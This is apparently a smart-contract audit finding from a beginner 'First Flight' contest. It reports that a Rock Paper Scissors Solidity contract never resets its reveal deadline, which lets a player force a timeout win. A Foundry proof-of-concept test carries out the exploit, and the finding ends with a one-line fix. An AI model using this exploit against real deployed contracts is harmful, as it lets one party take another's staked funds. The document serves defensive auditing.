Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Either of the players can manipulate the Game with block.timestamp (game.revealDeadline) to win Everytime.

Summary

The game operates in turns, where each turn has a commit-reveal phase with a deadline (game.revealDeadline). However, the contract fails to reset the deadline after a turn ends, allowing a malicious player to exploit the revealDeadline from a previous turn. By strategically delaying their actions, an attacker can manipulate the game using the timeout in a subsequent turn and automatically win the game—even if they should have lost based on the actual game moves.

Vulnerability Details

After the both players have committed and revealled their respective moves for the first turn, the game.revealDeadline is set for that turn, but at the end of the turn, this (game.revealDeadline) is not reset to zero in the _determineWinner() function thereby allowing this check

require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");

to pass on the next turn for the realMove() function. Now if the revealDealine is still less than block.timestamp, any malicious player can call commitMove() -> revealMove() and then immediately after the end of the timestamp for the previous turn, they can call -> timeoutReveal() function to win the game automatically, even if the were loosing the game initially.

POC:

Add this test to the test file

function testMaliciousGamePlayerWins() public {
gameId = createAndJoinGame();
// First turn: A=Rock, B=Paper (B wins)
playTurn(gameId, RockPaperScissors.Move.Rock, RockPaperScissors.Move.Paper);
// For the Next turn,
// Either of the players can delay to reveal their move during the prevous game to get block.timestamp in their favour,
// Now during the next turn, this player can call the next three functions before the other player to win the game.
bytes32 saltA = keccak256(abi.encodePacked("salt for player A", gameId, uint8(RockPaperScissors.Move.Paper)));
bytes32 commitA = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Paper), saltA));
vm.startPrank(playerA);
game.commitMove(gameId, commitA);
// Now the second player has not commited yet.
game.revealMove(gameId, uint8(RockPaperScissors.Move.Paper), saltA);
uint256 playerABalanceBefore = playerA.balance;
// Fast forward past turn's reveal deadline so that the player can call the next function.
vm.warp(block.timestamp + TIMEOUT + 1);
game.timeoutReveal(gameId);
vm.stopPrank();
// Verify game state
(,,,,,,,,,,,,,,, RockPaperScissors.GameState state) = game.games(gameId);
assertEq(uint256(state), uint256(RockPaperScissors.GameState.Finished));
// Verify player A received prize
uint256 expectedPrize = (BET_AMOUNT * 2) * 90 / 100; // 10% fee
assertEq(playerA.balance - playerABalanceBefore, expectedPrize);
}

Impact

The manipulative player can always win the game everytime and unduely stealing their opponents funds.

Tools Used

foundry Tests

Recommendations

Reset the revealDealine to zero in the _determineWinner() function,

/**
* @dev Internal function to determine winner for the current turn
* @param _gameId ID of the game
*/
function _determineWinner(uint256 _gameId) internal {
Game storage game = games[_gameId];
address turnWinner = address(0);
// Rock = 1, Paper = 2, Scissors = 3
if (game.moveA == game.moveB) {
// Tie, no points
turnWinner = address(0);
} else if (
(game.moveA == Move.Rock && game.moveB == Move.Scissors)
|| (game.moveA == Move.Paper && game.moveB == Move.Rock)
|| (game.moveA == Move.Scissors && game.moveB == Move.Paper)
) {
// Player A wins
game.scoreA++;
turnWinner = game.playerA;
} else {
// Player B wins
game.scoreB++;
turnWinner = game.playerB;
}
emit TurnCompleted(_gameId, turnWinner, game.currentTurn);
// Reset for next turn or end game
if (game.currentTurn < game.totalTurns) {
// Reset for next turn
game.currentTurn++;
game.commitA = bytes32(0);
game.commitB = bytes32(0);
game.moveA = Move.None;
game.moveB = Move.None;
game.state = GameState.Committed;
+ game.revealDeadline = 0;
} else {
// End game
address winner;
if (game.scoreA > game.scoreB) {
winner = game.playerA;
} else if (game.scoreB > game.scoreA) {
winner = game.playerB;
} else {
// This should never happen with odd turns, but just in case
// of timeouts or other unusual scenarios, handle as a tie
_handleTie(_gameId);
return;
}
_finishGame(_gameId, winner);
}
}
Updates

Appeal created

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

m3dython Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Game State Manipulation Preventing Opponent Commit

Attack allows a player to reveal their move for the next turn before the opponent commits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.